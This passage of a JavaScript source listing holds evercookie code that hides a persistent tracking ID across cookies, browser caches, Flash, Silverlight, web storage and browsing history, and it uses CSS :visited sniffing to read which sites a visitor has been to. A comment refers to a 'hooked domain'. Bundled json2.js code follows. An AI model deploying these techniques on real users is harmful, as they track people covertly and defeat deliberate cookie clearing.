  544. document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  545.  
  546. self._ec.cacheData = data;
  547. }
  548. });
  549. }
  550. };
  551.  
  552. this.evercookie_etag = function(name, value)
  553. {
  554. if (typeof(value) != "undefined")
  555. {
  556. // make sure we have evercookie session defined first
  557. document.cookie = 'evercookie_etag=' + value;
  558.  
  559. // evercookie_etag.php handles etagging
  560. var img = new Image();
  561. img.style.visibility = 'hidden';
  562. img.style.position = 'absolute';
  563. img.src = 'evercookie_etag.php?name=' + name;
  564. }
  565. else
  566. {
  567. // interestingly enough, we want to erase our evercookie
  568. // http cookie so the php will force a cached response
  569. var origvalue = this.getFromStr('evercookie_etag', document.cookie);
  570. self._ec.etagData = undefined;
  571. document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  572.  
  573. $.ajax({
  574. url: 'evercookie_etag.php?name=' + name,
  575. success: function(data) {
  576. // put our cookie back
  577. document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  578.  
  579. self._ec.etagData = data;
  580. }
  581. });
  582. }
  583. };
  584.  
  585. this.evercookie_lso = function(name, value)
  586. {
  587. var div = document.getElementById('swfcontainer');
  588. if (!div)
  589. {
  590. div = document.createElement("div");
  591. div.setAttribute('id', 'swfcontainer');
  592. document.body.appendChild(div);
  593. }
  594.  
  595. var flashvars = {};
  596. if (typeof value != 'undefined')
  597. flashvars.everdata = name + '=' + value;
  598.  
  599. var params = {};
  600. params.swliveconnect = "true";
  601. var attributes = {};
  602. attributes.id = "myswf";
  603. attributes.name = "myswf";
  604. swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
  605. };
  606.  
  607. this.evercookie_png = function(name, value)
  608. {
  609. if (document.createElement('canvas').getContext)
  610. {
  611. if (typeof(value) != "undefined")
  612. {
  613. // make sure we have evercookie session defined first
  614. document.cookie = 'evercookie_png=' + value;
  615.  
  616. // evercookie_png.php handles the hard part of generating the image
  617. // based off of the http cookie and returning it cached
  618. var img = new Image();
  619. img.style.visibility = 'hidden';
  620. img.style.position = 'absolute';
  621. img.src = 'evercookie_png.php?name=' + name;
  622. }
  623. else
  624. {
  625. self._ec.pngData = undefined;
  626. var context = document.createElement('canvas');
  627. context.style.visibility = 'hidden';
  628. context.style.position = 'absolute';
  629. context.width = 200;
  630. context.height = 1;
  631. var ctx = context.getContext('2d');
  632.  
  633. // interestingly enough, we want to erase our evercookie
  634. // http cookie so the php will force a cached response
  635. var origvalue = this.getFromStr('evercookie_png', document.cookie);
  636. document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  637.  
  638. var img = new Image();
  639. img.style.visibility = 'hidden';
  640. img.style.position = 'absolute';
  641. img.src = 'evercookie_png.php?name=' + name;
  642.  
  643. img.onload = function()
  644. {
  645. // put our cookie back
  646. document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  647.  
  648. self._ec.pngData = '';
  649. ctx.drawImage(img,0,0);
  650.  
  651. // get CanvasPixelArray from given coordinates and dimensions
  652. var imgd = ctx.getImageData(0, 0, 200, 1);
  653. var pix = imgd.data;
  654.  
  655. // loop over each pixel to get the "RGB" values (ignore alpha)
  656. for (var i = 0, n = pix.length; i < n; i += 4)
  657. {
  658. if (pix[i ] == 0) break;
  659. self._ec.pngData += String.fromCharCode(pix[i]);
  660. if (pix[i+1] == 0) break;
  661. self._ec.pngData += String.fromCharCode(pix[i+1]);
  662. if (pix[i+2] == 0) break;
  663. self._ec.pngData += String.fromCharCode(pix[i+2]);
  664. }
  665. }
  666. }
  667. }
  668. };
  669.  
  670. this.evercookie_local_storage = function(name, value)
  671. {
  672. try
  673. {
  674. if (window.localStorage)
  675. {
  676. if (typeof(value) != "undefined")
  677. localStorage.setItem(name, value);
  678. else
  679. return localStorage.getItem(name);
  680. }
  681. }
  682. catch (e) { }
  683. };
  684.  
  685. this.evercookie_database_storage = function(name, value)
  686. {
  687. try
  688. {
  689. if (window.openDatabase)
  690. {
  691. var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
  692.  
  693. if (typeof(value) != "undefined")
  694. database.transaction(function(tx)
  695. {
  696. tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
  697. "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
  698. "name TEXT NOT NULL, " +
  699. "value TEXT NOT NULL, " +
  700. "UNIQUE (name)" +
  701. ")", [], function (tx, rs) { }, function (tx, err) { });
  702.  
  703. tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
  704. function (tx, rs) { }, function (tx, err) { })
  705. });
  706. else
  707. {
  708. database.transaction(function(tx)
  709. {
  710. tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
  711. function(tx, result1) {
  712. if (result1.rows.length >= 1)
  713. self._ec.dbData = result1.rows.item(0)['value'];
  714. else
  715. self._ec.dbData = '';
  716. }, function (tx, err) { })
  717. });
  718. }
  719. }
  720. } catch(e) { }
  721. };
  722.  
  723. this.evercookie_session_storage = function(name, value)
  724. {
  725. try
  726. {
  727. if (window.sessionStorage)
  728. {
  729. if (typeof(value) != "undefined")
  730. sessionStorage.setItem(name, value);
  731. else
  732. return sessionStorage.getItem(name);
  733. }
  734. } catch(e) { }
  735. };
  736.  
  737. this.evercookie_global_storage = function(name, value)
  738. {
  739. if (window.globalStorage)
  740. {
  741. var host = this.getHost();
  742.  
  743. try
  744. {
  745. if (typeof(value) != "undefined")
  746. eval("globalStorage[host]." + name + " = value");
  747. else
  748. return eval("globalStorage[host]." + name);
  749. } catch(e) { }
  750. }
  751. };
  752. this.evercookie_silverlight = function(name, value) {
  753. /*
  754. * Create silverlight embed
  755. *
  756. * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
  757. * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
  758. */
  759. var source = "evercookie.xap";
  760. var minver = "4.0.50401.0";
  761.  
  762. var initParam = "";
  763. if(typeof(value) != "undefined")
  764. initParam = '<param name="initParams" value="'+name+'='+value+'" />';
  765.  
  766. var html =
  767. '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
  768. initParam +
  769. '<param name="source" value="'+source+'"/>' +
  770. '<param name="onLoad" value="onSilverlightLoad"/>' +
  771. '<param name="onError" value="onSilverlightError"/>' +
  772. '<param name="background" value="Transparent"/>' +
  773. '<param name="windowless" value="true"/>' +
  774. '<param name="minRuntimeVersion" value="'+minver+'"/>' +
  775. '<param name="autoUpgrade" value="true"/>' +
  776. '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
  777. '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
  778. '</a>' +
  779. '</object>';
  780. document.body.innerHTML+=html;
  781. };
  782.  
  783. // public method for encoding
  784. this.encode = function (input) {
  785. var output = "";
  786. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  787. var i = 0;
  788.  
  789. input = this._utf8_encode(input);
  790.  
  791. while (i < input.length) {
  792.  
  793. chr1 = input.charCodeAt(i++);
  794. chr2 = input.charCodeAt(i++);
  795. chr3 = input.charCodeAt(i++);
  796.  
  797. enc1 = chr1 >> 2;
  798. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  799. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  800. enc4 = chr3 & 63;
  801.  
  802. if (isNaN(chr2)) {
  803. enc3 = enc4 = 64;
  804. } else if (isNaN(chr3)) {
  805. enc4 = 64;
  806. }
  807.  
  808. output = output +
  809. _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
  810. _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
  811.  
  812. }
  813.  
  814. return output;
  815. };
  816.  
  817. // public method for decoding
  818. this.decode = function (input) {
  819. var output = "";
  820. var chr1, chr2, chr3;
  821. var enc1, enc2, enc3, enc4;
  822. var i = 0;
  823.  
  824. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  825.  
  826. while (i < input.length) {
  827. enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  828. enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  829. enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  830. enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  831.  
  832. chr1 = (enc1 << 2) | (enc2 >> 4);
  833. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  834. chr3 = ((enc3 & 3) << 6) | enc4;
  835.  
  836. output = output + String.fromCharCode(chr1);
  837.  
  838. if (enc3 != 64) {
  839. output = output + String.fromCharCode(chr2);
  840. }
  841. if (enc4 != 64) {
  842. output = output + String.fromCharCode(chr3);
  843. }
  844.  
  845. }
  846.  
  847. output = this._utf8_decode(output);
  848.  
  849. return output;
  850.  
  851. };
  852.  
  853. // private method for UTF-8 encoding
  854. this._utf8_encode = function (string) {
  855. string = string.replace(/\r\n/g,"\n");
  856. var utftext = "";
  857.  
  858. for (var n = 0; n < string.length; n++) {
  859.  
  860. var c = string.charCodeAt(n);
  861.  
  862. if (c < 128) {
  863. utftext += String.fromCharCode(c);
  864. }
  865. else if((c > 127) && (c < 2048)) {
  866. utftext += String.fromCharCode((c >> 6) | 192);
  867. utftext += String.fromCharCode((c & 63) | 128);
  868. }
  869. else {
  870. utftext += String.fromCharCode((c >> 12) | 224);
  871. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  872. utftext += String.fromCharCode((c & 63) | 128);
  873. }
  874.  
  875. }
  876.  
  877. return utftext;
  878. };
  879.  
  880. // private method for UTF-8 decoding
  881. this._utf8_decode = function (utftext) {
  882. var string = "";
  883. var i = 0;
  884. var c = c1 = c2 = 0;
  885.  
  886. while ( i < utftext.length ) {
  887.  
  888. c = utftext.charCodeAt(i);
  889.  
  890. if (c < 128) {
  891. string += String.fromCharCode(c);
  892. i++;
  893. }
  894. else if((c > 191) && (c < 224)) {
  895. c2 = utftext.charCodeAt(i+1);
  896. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  897. i += 2;
  898. }
  899. else {
  900. c2 = utftext.charCodeAt(i+1);
  901. c3 = utftext.charCodeAt(i+2);
  902. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  903. i += 3;
  904. }
  905.  
  906. }
  907.  
  908. return string;
  909. };
  910.  
  911. // this is crazy but it's 4am in dublin and i thought this would be hilarious
  912. // blame the guinness
  913. this.evercookie_history = function(name, value)
  914. {
  915. // - is special
  916. var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  917. var baseElems = baseStr.split("");
  918.  
  919. // sorry google.
  920. var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
  921.  
  922. if (typeof(value) != "undefined")
  923. {
  924. // don't reset this if we already have it set once
  925. // too much data and you can't clear previous values
  926. if (this.hasVisited(url))
  927. return;
  928.  
  929. this.createIframe(url, 'if');
  930. url = url + '/';
  931.  
  932. var base = this.encode(value).split("");
  933. for (var i = 0; i < base.length; i++)
  934. {
  935. url = url + base[i];
  936. this.createIframe(url, 'if' + i);
  937. }
  938.  
  939. // - signifies the end of our data
  940. url = url + '-';
  941. this.createIframe(url, 'if_');
  942. }
  943. else
  944. {
  945. // omg you got csspwn3d
  946. if (this.hasVisited(url))
  947. {
  948. url = url + '/';
  949.  
  950. var letter = "";
  951. var val = "";
  952. var found = 1;
  953. while (letter != '-' && found == 1)
  954. {
  955. found = 0;
  956. for (var i = 0; i < baseElems.length; i++)
  957. {
  958. if (this.hasVisited(url + baseElems[i]))
  959. {
  960. letter = baseElems[i];
  961. if (letter != '-')
  962. val = val + letter;
  963. url = url + letter;
  964. found = 1;
  965. break;
  966. }
  967. }
  968. }
  969.  
  970. // lolz
  971. return this.decode(val);
  972. }
  973. }
  974. };
  975.  
  976. this.createElem = function(type, name, append)
  977. {
  978. var el;
  979. if (typeof name != 'undefined' && document.getElementById(name))
  980. el = document.getElementById(name);
  981. else
  982. el = document.createElement(type);
  983. el.style.visibility = 'hidden';
  984. el.style.position = 'absolute';
  985.  
  986. if (name)
  987. el.setAttribute('id', name);
  988.  
  989. if (append)
  990. document.body.appendChild(el);
  991.  
  992. return el;
  993. };
  994.  
  995. this.createIframe = function(url, name)
  996. {
  997. var el = this.createElem('iframe', name, 1);
  998. el.setAttribute('src', url);
  999. return el;
  1000. };
  1001.  
  1002. // wait for our swfobject to appear (swfobject.js to load)
  1003. this.waitForSwf = function(i)
  1004. {
  1005. if (typeof i == 'undefined')
  1006. i = 0;
  1007. else
  1008. i++;
  1009.  
  1010. // wait for ~2 seconds for swfobject to appear
  1011. if (i < _ec_tests && typeof swfobject == 'undefined')
  1012. setTimeout(function() { waitForSwf(i) }, 300);
  1013. };
  1014.  
  1015. this.evercookie_cookie = function(name, value)
  1016. {
  1017. try{
  1018. if (typeof(value) != "undefined")
  1019. {
  1020. // expire the cookie first
  1021. document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1022. document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1023. }
  1024. else
  1025. return this.getFromStr(name, document.cookie);
  1026. }catch(e){
  1027. // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
  1028. // evercookie_userdata and evercookie_window will be used in this case.
  1029. }
  1030. };
  1031.  
  1032. // get value from param-like string (eg, "x=y&name=VALUE")
  1033. this.getFromStr = function(name, text)
  1034. {
  1035. if (typeof text != 'string')
  1036. return;
  1037.  
  1038. var nameEQ = name + "=";
  1039. var ca = text.split(/[;&]/);
  1040. for (var i = 0; i < ca.length; i++)
  1041. {
  1042. var c = ca[i];
  1043. while (c.charAt(0) == ' ')
  1044. c = c.substring(1, c.length);
  1045. if (c.indexOf(nameEQ) == 0)
  1046. return c.substring(nameEQ.length, c.length);
  1047. }
  1048. };
  1049.  
  1050. this.getHost = function()
  1051. {
  1052. var domain = document.location.host;
  1053. if (domain.indexOf('www.') == 0)
  1054. domain = domain.replace('www.', '');
  1055. return domain;
  1056. };
  1057.  
  1058. this.toHex = function(str)
  1059. {
  1060. var r = "";
  1061. var e = str.length;
  1062. var c = 0;
  1063. var h;
  1064. while (c < e)
  1065. {
  1066. h = str.charCodeAt(c++).toString(16);
  1067. while (h.length < 2)
  1068. h = "0" + h;
  1069. r += h;
  1070. }
  1071. return r;
  1072. };
  1073.  
  1074. this.fromHex = function(str)
  1075. {
  1076. var r = "";
  1077. var e = str.length;
  1078. var s;
  1079. while (e >= 0)
  1080. {
  1081. s = e - 2;
  1082. r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  1083. e = s;
  1084. }
  1085. return r;
  1086. };
  1087.  
  1088. /*
  1089. * css history knocker (determine what sites your visitors have been to)
  1090. *
  1091. * originally by Jeremiah Grossman
  1092. * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  1093. *
  1094. * ported to additional browsers by Samy Kamkar
  1095. *
  1096. * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
  1097. *
  1098. */
  1099.  
  1100.  
  1101. this.hasVisited = function(url)
  1102. {
  1103. if (this.no_color == -1)
  1104. {
  1105. var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
  1106. if (no_style == -1)
  1107. this.no_color =
  1108. this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
  1109. }
  1110.  
  1111. // did we give full url?
  1112. if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  1113. return this._testURL(url, this.no_color);
  1114.  
  1115. // if not, just test a few diff types if (exact)
  1116. return this._testURL("http://" + url, this.no_color) ||
  1117. this._testURL("https://" + url, this.no_color) ||
  1118. this._testURL("http://www." + url, this.no_color) ||
  1119. this._testURL("https://www." + url, this.no_color);
  1120. };
  1121.  
  1122. /* create our anchor tag */
  1123. var _link = this.createElem('a', '_ec_rgb_link');
  1124.  
  1125. /* for monitoring */
  1126. var created_style;
  1127.  
  1128. /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
  1129. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  1130.  
  1131. /* Methods for IE6, IE7, FF, Opera, and Safari */
  1132. try {
  1133. created_style = 1;
  1134. var style = document.createElement('style');
  1135. if (style.styleSheet)
  1136. style.styleSheet.innerHTML = _cssText;
  1137. else if (style.innerHTML)
  1138. style.innerHTML = _cssText;
  1139. else
  1140. {
  1141. var cssT = document.createTextNode(_cssText);
  1142. style.appendChild(cssT);
  1143. }
  1144. } catch (e) {
  1145. created_style = 0;
  1146. }
  1147.  
  1148. /* if test_color, return -1 if we can't set a style */
  1149. this._getRGB = function (u, test_color) {
  1150. if (test_color && created_style == 0)
  1151. return -1;
  1152.  
  1153. /* create the new anchor tag with the appropriate URL information */
  1154. _link.href = u;
  1155. _link.innerHTML = u;
  1156. // not sure why, but the next two appendChilds always have to happen vs just once
  1157. document.body.appendChild(style);
  1158. document.body.appendChild(_link);
  1159.  
  1160. /* add the link to the DOM and save the visible computed color */
  1161. var color;
  1162. if (document.defaultView)
  1163. color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
  1164. else
  1165. color = _link.currentStyle['color'];
  1166.  
  1167. return color;
  1168. };
  1169.  
  1170. this._testURL = function(url, no_color){
  1171. var color = this._getRGB(url);
  1172.  
  1173. /* check to see if the link has been visited if the computed color is red */
  1174. if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  1175. return 1;
  1176.  
  1177. /* if our style trick didn't work, just compare default style colors */
  1178. else if (no_color && color != no_color)
  1179. return 1;
  1180.  
  1181. /* not found */
  1182. return 0;
  1183. }
  1184.  
  1185. };
  1186.  
  1187. return _class;
  1188. })();
  1189.  
  1190.  
  1191. /*
  1192. * Again, ugly workaround....same problem as flash.
  1193. */
  1194. var _global_isolated;
  1195. function onSilverlightLoad(sender, args) {
  1196. var control = sender.getHost();
  1197. _global_isolated = control.Content.App.getIsolatedStorage();
  1198. }
  1199. /*
  1200. function onSilverlightError(sender, args) {
  1201. _global_isolated = "";
  1202.  
  1203. }*/
  1204. function onSilverlightError(sender, args) {
  1205. _global_isolated = "";
  1206. }
  1207.  
  1208.  
  1209. // json2.js
  1210. // 2016-10-28
  1211. // Public Domain.
  1212. // NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
  1213. // See http://www.JSON.org/js.html
  1214. // This code should be minified before deployment.
  1215. // See http://javascript.crockford.com/jsmin.html
  1216.  
  1217. // USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
  1218. // NOT CONTROL.
  1219.  
  1220. // This file creates a global JSON object containing two methods: stringify
  1221. // and parse. This file provides the ES5 JSON capability to ES3 systems.
  1222. // If a project might run on IE8 or earlier, then this file should be included.
  1223. // This file does nothing on ES5 systems.
  1224.  
  1225. // Create a JSON object only if one does not already exist. We create the
  1226. // methods in a closure to avoid creating global variables.
  1227.  
  1228. if (typeof JSON !== "object") {
  1229. JSON = {};
  1230. }
  1231.  
  1232. (function () {
  1233. "use strict";
  1234.  
  1235. var rx_one = /^[\],:{}\s]*$/;
  1236. var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g;
  1237. var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
  1238. var rx_four = /(?:^|:|,)(?:\s*\[)+/g;
  1239. var rx_escapable = /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
  1240. var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
  1241.  
  1242. function f(n) {
  1243. // Format integers to have at least two digits.
  1244. return n < 10
  1245. ? "0" + n
  1246. : n;
  1247. }
  1248.  
  1249. function this_value() {
  1250. return this.valueOf();
  1251. }
  1252.  
  1253. if (typeof Date.prototype.toJSON !== "function") {
  1254.  
  1255. Date.prototype.toJSON = function () {
  1256.  
  1257. return isFinite(this.valueOf())
  1258. ? this.getUTCFullYear() + "-" +
  1259. f(this.getUTCMonth() + 1) + "-" +
  1260. f(this.getUTCDate()) + "T" +
  1261. f(this.getUTCHours()) + ":" +
  1262. f(this.getUTCMinutes()) + ":" +
  1263. f(this.getUTCSeconds()) + "Z"
  1264. : null;
  1265. };
  1266.  
  1267. Boolean.prototype.toJSON = this_value;
  1268. Number.prototype.toJSON = this_value;
  1269. String.prototype.toJSON = this_value;
  1270. }
  1271.  
  1272. var gap;
  1273. var indent;
  1274. var meta;
  1275. var rep;
  1276.  
  1277.  
  1278. function quote(string) {
  1279.  
  1280. // If the string contains no control characters, no quote characters, and no
  1281. // backslash characters, then we can safely slap some quotes around it.
  1282. // Otherwise we must also replace the offending characters with safe escape
  1283. // sequences.
  1284.  
  1285. rx_escapable.lastIndex = 0;
  1286. return rx_escapable.test(string)
  1287. ? "\"" + string.replace(rx_escapable, function (a) {
  1288. var c = meta[a];
  1289. return typeof c === "string"
  1290. ? c
  1291. : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
  1292. }) + "\""
  1293. : "\"" + string + "\"";
  1294. }
  1295.  
  1296.  
  1297. function str(key, holder) {
  1298.  
  1299. // Produce a string from holder[key].
  1300.  
  1301. var i; // The loop counter.
  1302. var k; // The member key.
  1303. var v; // The member value.
  1304. var length;
  1305. var mind = gap;
  1306. var partial;
  1307. var value = holder[key];
  1308.  
  1309. // If the value has a toJSON method, call it to obtain a replacement value.
  1310.  
  1311. if (value && typeof value === "object" &&
  1312. typeof value.toJSON === "function") {
  1313. value = value.toJSON(key);
  1314. }
  1315.  
  1316. // If we were called with a replacer function, then call the replacer to
  1317. // obtain a replacement value.
  1318.  
  1319. if (typeof rep === "function") {
  1320. value = rep.call(holder, key, value);
  1321. }
  1322.  
  1323. // What happens next depends on the value's type.
  1324.  
  1325. switch (typeof value) {
  1326. case "string":
  1327. return quote(value);
  1328.  
  1329. case "number":
  1330.  
  1331. // JSON numbers must be finite. Encode non-finite numbers as null.
  1332.  
  1333. return isFinite(value)
  1334. ? String(value)
  1335. : "null";
  1336.  
  1337. case "boolean":
  1338. case "null":
  1339.  
  1340. // If the value is a boolean or null, convert it to a string. Note:
  1341. // typeof null does not produce "null". The case is included here in
  1342. // the remote chance that this gets fixed someday.
  1343.  
  1344. return String(value);
  1345.  
  1346. // If the type is "object", we might be dealing with an object or an array or
  1347. // null.
  1348.  
  1349. case "object":
  1350.  
  1351. // Due to a specification blunder in ECMAScript, typeof null is "object",
  1352. // so watch out for that case.
  1353.  
  1354. if (!value) {
  1355. return "null";
  1356. }
  1357.  
  1358. // Make an array to hold the partial results of stringifying this object value.
  1359.  
  1360. gap += indent;
  1361. partial = [];
  1362.  
  1363. // Is the value an array?
  1364.  
  1365. if (Object.prototype.toString.apply(value) === "[object Array]") {
  1366.  
  1367. // The value is an array. Stringify every element. Use null as a placeholder
  1368. // for non-JSON values.
  1369.  
  1370. length = value.length;
  1371. for (i = 0; i < length; i += 1) {
  1372. partial[i] = str(i, value) || "null";
  1373. }
  1374.  
  1375. // Join all of the elements together, separated with commas, and wrap them in
  1376. // brackets.
  1377.  
  1378. v = partial.length === 0
  1379. ? "[]"
  1380. : gap
  1381. ? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]"
  1382. : "[" + partial.join(",") + "]";
  1383. gap = mind;
  1384. return v;
  1385. }
  1386.  
  1387. // If the replacer is an array, use it to select the members to be stringified.
  1388.  
  1389. if (rep && typeof rep === "object") {
  1390. length = rep.length;
  1391. for (i = 0; i < length; i += 1) {
  1392. if (typeof rep[i] === "string") {
  1393. k = rep[i];
  1394. v = str(k, value);
  1395. if (v) {
  1396. partial.push(quote(k) + (
  1397. gap
  1398. ? ": "
  1399. : ":"
  1400. ) + v);
  1401. }
  1402. }
  1403. }
  1404. } else {
  1405.  
  1406. // Otherwise, iterate through all of the keys in the object.
  1407.  
  1408. for (k in value) {
  1409. if (Object.prototype.hasOwnProperty.call(value, k)) {
  1410. v = str(k, value);
  1411. if (v) {
  1412. partial.push(quote(k) + (
  1413. gap
  1414. ? ": "
  1415. : ":"
  1416. ) + v);
  1417. }
  1418. }
  1419. }
  1420. }
  1421.  
  1422. // Join all of the member texts together, separated with commas,
  1423. // and wrap them in braces.
  1424.  
  1425. v = partial.length === 0
  1426. ? "{}"
  1427. : gap
  1428. ? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}"
  1429. : "{" + partial.join(",") + "}";
  1430. gap = mind;
  1431. return v;
  1432. }
  1433. }
  1434.  
  1435. // If the JSON object does not yet have a stringify method, give it one.
  1436.  
  1437. if (typeof JSON.stringify !== "function") {
  1438. meta = { // table of character substitutions
  1439. "\b": "\\b",
  1440. "\t": "\\t",
  1441. "\n": "\\n",
  1442. "\f": "\\f",
  1443. "\r": "\\r",
  1444. "\"": "\\\"",
  1445. "\\": "\\\\"
  1446. };
  1447. JSON.stringify = function (value, replacer, space) {
  1448.  
  1449. // The stringify method takes a value and an optional replacer, and an optional
  1450. // space parameter, and returns a JSON text. The replacer can be a function
  1451. // that can replace values, or an array of strings that will select the keys.
  1452. // A default replacer method can be provided. Use of the space parameter can
  1453. // produce text that is more easily readable.
  1454.  
  1455. var i;
  1456. gap = "";
  1457. indent = "";
  1458.  
  1459. // If the space parameter is a number, make an indent string containing that
  1460. // many spaces.
  1461.  
  1462. if (typeof space === "number") {
  1463. for (i = 0; i < space; i += 1) {
  1464. indent += " ";
  1465. }
  1466.  
  1467. // If the space parameter is a string, it will be used as the indent string.
  1468.  
  1469. } else if (typeof space === "string") {
  1470. indent = space;
  1471. }
  1472.  
  1473. // If there is a replacer, it must be a function or an array.
  1474. // Otherwise, throw an error.
  1475.  
  1476. rep = replacer;
  1477. if (replacer && typeof replacer !== "function" &&
  1478. (typeof replacer !== "object" ||
  1479. typeof replacer.length !== "number")) {
  1480. throw new Error("JSON.stringify");
  1481. }
  1482.  
  1483. // Make a fake root object containing our value under the key of "".
  1484. // Return the result of stringifying the value.
  1485.  
  1486. return str("", {"": value});
  1487. };
  1488. }
  1489.  
  1490.  
  1491. // If the JSON object does not yet have a parse method, give it one.
  1492.  
  1493. if (typeof JSON.parse !== "function") {
  1494. JSON.parse = function (text, reviver) {
  1495.  
  1496. // The parse method takes a text and an optional reviver function, and returns
  1497. // a JavaScript value if the text is a valid JSON text.
  1498.  
  1499. var j;
  1500.  
  1501. function walk(holder, key) {
  1502.  
  1503. // The walk method is used to recursively walk the resulting structure so
  1504. // that modifications can be made.
  1505.  
  1506. var k;
  1507. var v;
  1508. var value = holder[key];
  1509. if (value && typeof value === "object") {
  1510. for (k in value) {
  1511. if (Object.prototype.hasOwnProperty.call(value, k)) {
  1512. v = walk(value, k);
  1513. if (v !== undefined) {
  1514. value[k] = v;
  1515. } else {
  1516. delete value[k];
  1517. }
  1518. }
  1519. }
  1520. }
  1521. return reviver.call(holder, key, value);
  1522. }
  1523.  
  1524.  
  1525. // Parsing happens in four stages. In the first stage, we replace certain
  1526. // Unicode characters with escape sequences. JavaScript handles many characters
  1527. // incorrectly, either silently deleting them, or treating them as line endings.
  1528.  
  1529. text = String(text);
  1530. rx_dangerous.lastIndex = 0;
  1531. if (rx_dangerous.test(text)) {
  1532. text = text.replace(rx_dangerous, function (a) {
  1533. return "\\u" +
  1534. ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
  1535. });
  1536. }
  1537.  
  1538. // In the second stage, we run the text against regular expressions that look
  1539. // for non-JSON patterns. We are especially concerned with "()" and "new"
  1540. // because they can cause invocation, and "=" because it can cause mutation.
  1541. // But just to be safe, we want to reject all unexpected forms.
  1542.  
  1543. // We split the second stage into 4 regexp operations in order to work around
  1544. // crippling inefficiencies in IE's and Safari's regexp engines. First we
  1545. // replace the JSON backslash pairs with "@" (a non-JSON character). Second, we
  1546. // replace all simple value tokens with "]" characters. Third, we delete all
  1547. // open brackets that follow a colon or comma or that begin the text. Finally,
  1548. // we look to see that the remaining characters are only whitespace or "]" or
  1549. // "," or ":" or "{" or "}". If that is so, then the text is safe for eval.
  1550.  
  1551. if (
  1552. rx_one.test(
  1553. text
  1554. .replace(rx_two, "@")
  1555. .replace(rx_three, "]")
  1556. .replace(rx_four, "")
  1557. )
  1558. ) {
  1559.  
  1560. // In the third stage we use the eval function to compile the text into a
  1561. // JavaScript structure. The "{" operator is subject to a syntactic ambiguity
  1562. // in JavaScript: it can begin a block or an object literal. We wrap the text
  1563. // in parens to eliminate the ambiguity.
  1564.  
  1565. j = eval("(" + text + ")");
  1566.  
  1567. // In the optional fourth stage, we recursively walk the new structure, passing
  1568. // each name/value pair to a reviver function for possible transformation.
  1569.  
  1570. return (typeof reviver === "function")
  1571. ? walk({"": j}, "")
  1572. : j;
  1573. }
  1574.  
  1575. // If the text is not JSON parseable, then a SyntaxError is thrown.
  1576.  
  1577. throw new SyntaxError("JSON.parse");
  1578. };
  1579. }
  1580. }());
  1581.  
  1582.  
  1583. /* *******************************************
  1584. // Copyright 2010-2015, Anthony Hand
  1585. //
